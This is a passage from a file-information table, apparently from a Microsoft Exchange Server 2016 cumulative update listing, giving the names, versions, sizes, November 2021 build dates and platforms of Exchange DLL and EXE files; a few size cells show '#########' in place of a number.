3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.directory.topologyservicevariantconfig.dll| 15.1.2375.17| 48,520| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.diskmanagement.dll| 15.1.2375.17| 67,472| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.common.dll| 15.1.2375.17| 172,944| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.common.encryption.variantconfig.dll| 15.1.2375.17| 113,528| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.il.dll| 15.1.2375.14| 13,704| 3-Nov-21| 18:09| x86 \nMicrosoft.exchange.common.inference.dll| 15.1.2375.17| 130,424| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.optics.dll| 15.1.2375.17| 63,888| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.common.processmanagermsg.dll| 15.1.2375.17| 19,856| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.common.protocols.popimap.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.common.search.dll| 15.1.2375.17| 107,912| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.search.eventlog.dll| 15.1.2375.14| 17,808| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.common.smtp.dll| 15.1.2375.17| 51,072| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.suiteservices.suiteservicesvariantconfig.dll| 15.1.2375.17| 36,744| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.common.transport.azure.dll| 15.1.2375.17| 27,528| 3-Nov-21| 18:27| x86 \nMicrosoft.exchange.common.transport.monitoringconfig.dll| 15.1.2375.17| 1,042,320| 3-Nov-21| 18:44| x86 \nMicrosoft.exchange.commonmsg.dll| 15.1.2375.17| 29,064| 3-Nov-21| 18:11| x64 \nMicrosoft.exchange.compliance.auditlogpumper.messages.dll| 15.1.2375.17| 13,200| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.compliance.auditservice.core.dll| 15.1.2375.17| 181,112| 3-Nov-21| 20:46| x86 \nMicrosoft.exchange.compliance.auditservice.messages.dll| 15.1.2375.14| 30,088| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.compliance.common.dll| 15.1.2375.17| 22,408| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.compliance.crimsonevents.dll| 15.1.2375.14| 85,880| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.compliance.dll| 15.1.2375.17| 35,216| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.compliance.recordreview.dll| 15.1.2375.17| 37,256| 3-Nov-21| 18:24| x86 \nMicrosoft.exchange.compliance.supervision.dll| 15.1.2375.17| 50,576| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.compliance.taskcreator.dll| 15.1.2375.17| 33,160| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.1.2375.17| 1,099,664| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.1.2375.17| 206,200| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.compliance.taskplugins.dll| 15.1.2375.17| 210,824| 3-Nov-21| 20:22| x86 \nMicrosoft.exchange.compression.dll| 15.1.2375.17| 17,288| 3-Nov-21| 18:28| x86 \nMicrosoft.exchange.configuration.certificateauth.dll| 15.1.2375.17| 37,768| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.configuration.certificateauth.eventlog.dll| 15.1.2375.14| 14,200| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.configuration.core.dll| 15.1.2375.17| 150,408| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.configuration.core.eventlog.dll| 15.1.2375.14| 14,224| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.1.2375.17| 53,128| 3-Nov-21| 19:49| x86 \nMicrosoft.exchange.configuration.delegatedauth.eventlog.dll| 15.1.2375.17| 15,760| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.1.2375.17| 23,416| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.configuration.diagnosticsmodules.eventlog.dll| 15.1.2375.17| 13,176| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.configuration.failfast.dll| 15.1.2375.17| 54,648| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.configuration.failfast.eventlog.dll| 15.1.2375.17| 13,688| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.configuration.objectmodel.dll| 15.1.2375.17| 1,847,160| 3-Nov-21| 19:52| x86 \nMicrosoft.exchange.configuration.objectmodel.eventlog.dll| 15.1.2375.17| 30,072| 3-Nov-21| 18:13| x64 \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.1.2375.17| 68,472| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.configuration.redirectionmodule.eventlog.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.1.2375.17| 21,392| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.eventlog.dll| 15.1.2375.17| 13,176| 3-Nov-21| 18:21| x64 \nMicrosoft.exchange.connectiondatacollector.dll| 15.1.2375.17| 26,000| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.connections.common.dll| 15.1.2375.17| 169,864| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.connections.eas.dll| 15.1.2375.17| 330,104| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.connections.imap.dll| 15.1.2375.17| 173,944| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.connections.pop.dll| 15.1.2375.17| 71,056| 3-Nov-21| 18:43| x86 \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.1.2375.17| 203,664| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.context.client.dll| 15.1.2375.17| 27,016| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.context.configuration.dll| 15.1.2375.17| 51,592| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.context.core.dll| 15.1.2375.17| 51,576| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.context.datamodel.dll| 15.1.2375.17| 46,968| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.core.strings.dll| 15.1.2375.17| 1,092,488| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.core.timezone.dll| 15.1.2375.17| 57,232| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.data.applicationlogic.deep.dll| 15.1.2375.17| 326,544| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.data.applicationlogic.dll| 15.1.2375.17| 3,358,096| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.data.applicationlogic.eventlog.dll| 15.1.2375.17| 35,704| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.data.applicationlogic.monitoring.ifx.dll| 15.1.2375.17| 17,800| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.data.connectors.dll| 15.1.2375.17| 165,264| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.consumermailboxprovisioning.dll| 15.1.2375.17| 619,384| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.data.directory.dll| 15.1.2375.17| 7,792,520| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.directory.eventlog.dll| 15.1.2375.14| 80,264| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.data.dll| 15.1.2375.17| 1,963,384| 3-Nov-21| 19:01| x86 \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.1.2375.17| 1,625,976| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.data.ha.dll| 15.1.2375.17| 364,432| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.imageanalysis.dll| 15.1.2375.17| 105,352| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.data.mailboxfeatures.dll| 15.1.2375.17| 15,736| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.mailboxloadbalance.dll| 15.1.2375.17| 224,632| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.mapi.dll| 15.1.2375.17| 186,256| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.metering.contracts.dll| 15.1.2375.17| 39,824| 3-Nov-21| 18:23| x86 \nMicrosoft.exchange.data.metering.dll| 15.1.2375.17| 119,176| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.data.msosyncxsd.dll| 15.1.2375.17| 968,072| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.data.notification.dll| 15.1.2375.17| 141,192| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.personaldataplatform.dll| 15.1.2375.17| 769,416| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.data.providers.dll| 15.1.2375.17| 139,640| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.provisioning.dll| 15.1.2375.17| 56,720| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.rightsmanagement.dll| 15.1.2375.17| 452,496| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.scheduledtimers.dll| 15.1.2375.17| 32,656| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.1.2375.17| 256,376| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.data.storage.dll| 15.1.2375.17| #########| 3-Nov-21| 19:21| x86 \nMicrosoft.exchange.data.storage.eventlog.dll| 15.1.2375.14| 37,776| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.data.storageconfigurationresources.dll| 15.1.2375.17| 655,752| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.data.storeobjects.dll| 15.1.2375.17| 174,480| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.1.2375.17| 36,240| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.data.throttlingservice.client.eventlog.dll| 15.1.2375.17| 14,200| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.data.throttlingservice.eventlog.dll| 15.1.2375.14| 14,200| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.datacenter.management.activemonitoring.recoveryservice.eventlog.dll| 15.1.2375.14| 14,728| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.datacenterstrings.dll| 15.1.2375.17| 72,568| 3-Nov-21| 20:35| x86 \nMicrosoft.exchange.delivery.eventlog.dll| 15.1.2375.17| 13,200| 3-Nov-21| 18:36| x64 \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.1.2375.17| 22,920| 3-Nov-21| 19:17| x86 \nMicrosoft.exchange.diagnostics.dll| 15.1.2375.17| 1,813,368| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.diagnostics.dll.deploy| 15.1.2375.17| 1,813,368| 3-Nov-21| 18:22| Not applicable \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.1.2375.17| 23,928| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.diagnostics.service.common.dll| 15.1.2375.17| 546,680| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.diagnostics.service.eventlog.dll| 15.1.2375.17| 215,432| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.1.2375.17| 193,408| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.diagnostics.service.exe| 15.1.2375.17| 146,296| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.diagnostics.service.fuseboxperfcounters.dll| 15.1.2375.17| 27,512| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.diagnosticsaggregation.eventlog.dll| 15.1.2375.17| 13,712| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.1.2375.17| 49,536| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.directory.topologyservice.eventlog.dll| 15.1.2375.17| 28,040| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.directory.topologyservice.exe| 15.1.2375.17| 208,776| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.disklocker.events.dll| 15.1.2375.17| 88,952| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.disklocker.interop.dll| 15.1.2375.17| 32,656| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.drumtesting.calendarmigration.dll| 15.1.2375.17| 45,968| 3-Nov-21| 20:13| x86 \nMicrosoft.exchange.drumtesting.common.dll| 15.1.2375.17| 18,808| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.dxstore.dll| 15.1.2375.17| 468,872| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.dxstore.ha.events.dll| 15.1.2375.14| 206,200| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.1.2375.17| 36,728| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.eac.flighting.dll| 15.1.2375.17| 131,464| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.edgecredentialsvc.exe| 15.1.2375.17| 21,904| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.edgesync.common.dll| 15.1.2375.17| 148,368| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.1.2375.17| 220,040| 3-Nov-21| 19:21| x86 \nMicrosoft.exchange.edgesync.eventlog.dll| 15.1.2375.17| 23,928| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.edgesyncsvc.exe| 15.1.2375.17| 97,672| 3-Nov-21| 19:17| x86 \nMicrosoft.exchange.ediscovery.export.dll| 15.1.2375.17| 1,266,064| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.1.2375.17| 1,266,064| 3-Nov-21| 18:22| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 16,506| 3-Nov-21| 18:36| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.1.2375.17| 87,432| 3-Nov-21| 18:25| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.manifest| Not applicable| 67,491| 3-Nov-21| 18:28| Not applicable \nMicrosoft.exchange.ediscovery.exporttool.strings.dll.deploy| 15.1.2375.17| 52,088| 3-Nov-21| 18:12| Not applicable \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.1.2375.17| 294,264| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.1.2375.17| 72,584| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.entities.booking.defaultservicesettings.dll| 15.1.2375.17| 45,960| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.entities.booking.dll| 15.1.2375.17| 218,000| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.entities.booking.management.dll| 15.1.2375.17| 78,216| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.entities.bookings.dll| 15.1.2375.17| 35,704| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.entities.calendaring.dll| 15.1.2375.17| 932,216| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.entities.common.dll| 15.1.2375.17| 336,272| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.entities.connectors.dll| 15.1.2375.17| 52,624| 3-Nov-21| 19:29| x86 \nMicrosoft.exchange.entities.contentsubmissions.dll| 15.1.2375.17| 32,128| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.context.dll| 15.1.2375.17| 60,792| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.datamodel.dll| 15.1.2375.17| 854,416| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.entities.fileproviders.dll| 15.1.2375.17| 290,696| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.entities.foldersharing.dll| 15.1.2375.17| 39,312| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.1.2375.17| 76,176| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.entities.insights.dll| 15.1.2375.17| 166,776| 3-Nov-21| 20:14| x86 \nMicrosoft.exchange.entities.meetinglocation.dll| 15.1.2375.17| 1,486,728| 3-Nov-21| 20:15| x86 \nMicrosoft.exchange.entities.meetingparticipants.dll| 15.1.2375.17| 122,248| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.entities.meetingtimecandidates.dll| 15.1.2375.17| #########| 3-Nov-21| 20:19| x86 \nMicrosoft.exchange.entities.onlinemeetings.dll| 15.1.2375.17| 263,560| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.people.dll| 15.1.2375.17| 37,768| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.peopleinsights.dll| 15.1.2375.17| 186,768| 3-Nov-21| 20:11| x86 \nMicrosoft.exchange.entities.reminders.dll| 15.1.2375.17| 64,400| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.entities.schedules.dll| 15.1.2375.17| 83,848| 3-Nov-21| 20:16| x86 \nMicrosoft.exchange.entities.shellservice.dll| 15.1.2375.17| 63,864| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.entities.tasks.dll| 15.1.2375.17| 99,728| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.entities.xrm.dll| 15.1.2375.17| 144,760| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.entityextraction.calendar.dll| 15.1.2375.17| 270,224| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.eserepl.common.dll| 15.1.2375.17| 15,240| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.eserepl.configuration.dll| 15.1.2375.17| 15,760| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.eserepl.dll| 15.1.2375.17| 131,984| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.ews.configuration.dll| 15.1.2375.17| 254,328| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.exchangecertificate.eventlog.dll| 15.1.2375.17| 13,176| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.1.2375.17| 37,240| 3-Nov-21| 20:34| x86 \nMicrosoft.exchange.extensibility.internal.dll| 15.1.2375.17| 641,928| 3-Nov-21| 18:54| x86 \nMicrosoft.exchange.extensibility.partner.dll| 15.1.2375.17| 37,256| 3-Nov-21| 19:30| x86 \nMicrosoft.exchange.federateddirectory.dll| 15.1.2375.17| 146,296| 3-Nov-21| 20:44| x86 \nMicrosoft.exchange.ffosynclogmsg.dll| 15.1.2375.17| 13,176| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.frontendhttpproxy.dll| 15.1.2375.17| 594,320| 3-Nov-21| 20:44| x86 \nMicrosoft.exchange.frontendhttpproxy.eventlogs.dll| 15.1.2375.14| 14,736| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.frontendtransport.monitoring.dll| 15.1.2375.17| 30,072| 3-Nov-21| 21:31| x86 \nMicrosoft.exchange.griffin.variantconfiguration.dll| 15.1.2375.17| 99,704| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.1.2375.17| 42,360| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.helpprovider.dll| 15.1.2375.17| 40,824| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.1.2375.17| 54,144| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.httpproxy.common.dll| 15.1.2375.17| 163,720| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.1.2375.17| 58,744| 3-Nov-21| 20:06| x86 \nMicrosoft.exchange.httpproxy.flighting.dll| 15.1.2375.17| 204,664| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.httpproxy.passivemonitor.dll| 15.1.2375.17| 17,792| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.1.2375.17| 30,600| 3-Nov-21| 20:07| x86 \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.1.2375.17| 38,792| 3-Nov-21| 20:10| x86 \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.1.2375.17| 48,528| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.httpproxy.routing.dll| 15.1.2375.17| 180,624| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.httpredirectmodules.dll| 15.1.2375.17| 36,752| 3-Nov-21| 20:44| x86 \nMicrosoft.exchange.httprequestfiltering.dll| 15.1.2375.17| 28,024| 3-Nov-21| 18:39| x86 \nMicrosoft.exchange.httputilities.dll| 15.1.2375.17| 26,000| 3-Nov-21| 20:08| x86 \nMicrosoft.exchange.hygiene.data.dll| 15.1.2375.17| 1,868,152| 3-Nov-21| 20:01| x86 \nMicrosoft.exchange.hygiene.diagnosisutil.dll| 15.1.2375.17| 54,672| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.hygiene.eopinstantprovisioning.dll| 15.1.2375.17| 35,728| 3-Nov-21| 20:37| x86 \nMicrosoft.exchange.idserialization.dll| 15.1.2375.17| 35,704| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.imap4.eventlog.dll| 15.1.2375.14| 18,312| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.imap4.eventlog.dll.fe| 15.1.2375.14| 18,312| 3-Nov-21| 18:09| Not applicable \nMicrosoft.exchange.imap4.exe| 15.1.2375.17| 262,544| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.imap4.exe.fe| 15.1.2375.17| 262,544| 3-Nov-21| 19:47| Not applicable \nMicrosoft.exchange.imap4service.exe| 15.1.2375.17| 24,968| 3-Nov-21| 19:47| x86 \nMicrosoft.exchange.imap4service.exe.fe| 15.1.2375.17| 24,968| 3-Nov-21| 19:47| Not applicable \nMicrosoft.exchange.imapconfiguration.dl1| 15.1.2375.17| 53,112| 3-Nov-21| 18:36| Not applicable \nMicrosoft.exchange.inference.common.dll| 15.1.2375.17| 216,952| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.inference.hashtagsrelevance.dll| 15.1.2375.17| 32,144| 3-Nov-21| 20:14| x64 \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.1.2375.17| 282,000| 3-Nov-21| 20:12| x86 \nMicrosoft.exchange.inference.ranking.dll| 15.1.2375.17| 18,808| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.inference.safetylibrary.dll| 15.1.2375.17| 83,848| 3-Nov-21| 20:09| x86 \nMicrosoft.exchange.inference.service.eventlog.dll| 15.1.2375.17| 15,224| 3-Nov-21| 18:26| x64 \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.1.2375.17| 94,072| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.infoworker.common.dll| 15.1.2375.17| 1,841,528| 3-Nov-21| 20:02| x86 \nMicrosoft.exchange.infoworker.eventlog.dll| 15.1.2375.17| 71,544| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.1.2375.17| 175,480| 3-Nov-21| 20:03| x86 \nMicrosoft.exchange.instantmessaging.dll| 15.1.2375.17| 45,960| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.irm.formprotector.dll| 15.1.2375.17| 159,608| 3-Nov-21| 18:19| x64 \nMicrosoft.exchange.irm.msoprotector.dll| 15.1.2375.17| 51,064| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.irm.ofcprotector.dll| 15.1.2375.14| 45,960| 3-Nov-21| 18:09| x64 \nMicrosoft.exchange.isam.databasemanager.dll| 15.1.2375.17| 30,608| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.isam.esebcli.dll| 15.1.2375.17| 100,232| 3-Nov-21| 18:21| x64 \nMicrosoft.exchange.jobqueue.eventlog.dll| 15.1.2375.17| 13,200| 3-Nov-21| 18:12| x64 \nMicrosoft.exchange.jobqueueservicelet.dll| 15.1.2375.17| 271,240| 3-Nov-21| 20:47| x86 \nMicrosoft.exchange.killswitch.dll| 15.1.2375.17| 22,392| 3-Nov-21| 18:10| x86 \nMicrosoft.exchange.killswitchconfiguration.dll| 15.1.2375.17| 33,672| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.loganalyzer.analyzers.auditing.dll| 15.1.2375.17| 18,312| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.certificatelog.dll| 15.1.2375.17| 15,248| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.cmdletinfralog.dll| 15.1.2375.17| 27,528| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.loganalyzer.analyzers.easlog.dll| 15.1.2375.17| 30,600| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ecplog.dll| 15.1.2375.17| 22,408| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.loganalyzer.analyzers.eventlog.dll| 15.1.2375.17| 66,440| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.ewslog.dll| 15.1.2375.17| 29,584| 3-Nov-21| 18:27| x86 \nMicrosoft.exchange.loganalyzer.analyzers.griffinperfcounter.dll| 15.1.2375.17| 19,848| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.groupescalationlog.dll| 15.1.2375.17| 20,368| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.httpproxylog.dll| 15.1.2375.17| 19,344| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.hxservicelog.dll| 15.1.2375.17| 34,168| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.iislog.dll| 15.1.2375.17| 103,800| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.lameventlog.dll| 15.1.2375.17| 31,616| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.migrationlog.dll| 15.1.2375.17| 15,736| 3-Nov-21| 18:27| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.1.2375.17| 20,872| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.oauthcafelog.dll| 15.1.2375.17| 16,272| 3-Nov-21| 18:36| x86 \nMicrosoft.exchange.loganalyzer.analyzers.outlookservicelog.dll| 15.1.2375.17| 49,032| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owaclientlog.dll| 15.1.2375.17| 44,424| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.owalog.dll| 15.1.2375.17| 38,288| 3-Nov-21| 18:22| x86 \nMicrosoft.exchange.loganalyzer.analyzers.perflog.dll| 15.1.2375.17| #########| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.pfassistantlog.dll| 15.1.2375.17| 29,048| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.analyzers.rca.dll| 15.1.2375.17| 21,376| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.analyzers.restlog.dll| 15.1.2375.17| 24,456| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.store.dll| 15.1.2375.17| 15,240| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.analyzers.transportsynchealthlog.dll| 15.1.2375.17| 21,888| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.core.dll| 15.1.2375.17| 89,464| 3-Nov-21| 18:11| x86 \nMicrosoft.exchange.loganalyzer.extensions.auditing.dll| 15.1.2375.17| 20,880| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.certificatelog.dll| 15.1.2375.17| 26,512| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.cmdletinfralog.dll| 15.1.2375.17| 21,376| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.common.dll| 15.1.2375.17| 28,040| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.easlog.dll| 15.1.2375.17| 28,536| 3-Nov-21| 18:21| x86 \nMicrosoft.exchange.loganalyzer.extensions.errordetection.dll| 15.1.2375.17| 36,240| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.ewslog.dll| 15.1.2375.17| 16,784| 3-Nov-21| 18:26| x86 \nMicrosoft.exchange.loganalyzer.extensions.griffinperfcounter.dll| 15.1.2375.17| 19,848| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.groupescalationlog.dll| 15.1.2375.17| 15,248| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.httpproxylog.dll| 15.1.2375.17| 17,288| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.hxservicelog.dll| 15.1.2375.17| 19,856| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.iislog.dll| 15.1.2375.17| 57,232| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.migrationlog.dll| 15.1.2375.17| 17,792| 3-Nov-21| 18:25| x86 \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.1.2375.17| 18,832| 3-Nov-21| 19:15| x86 \nMicrosoft.exchange.loganalyzer.extensions.oauthcafelog.dll| 15.1.2375.17| 16,264| 3-Nov-21| 18:19| x86 \nMicrosoft.exchange.loganalyzer.extensions.outlookservicelog.dll| 15.1.2375.17| 17,800| 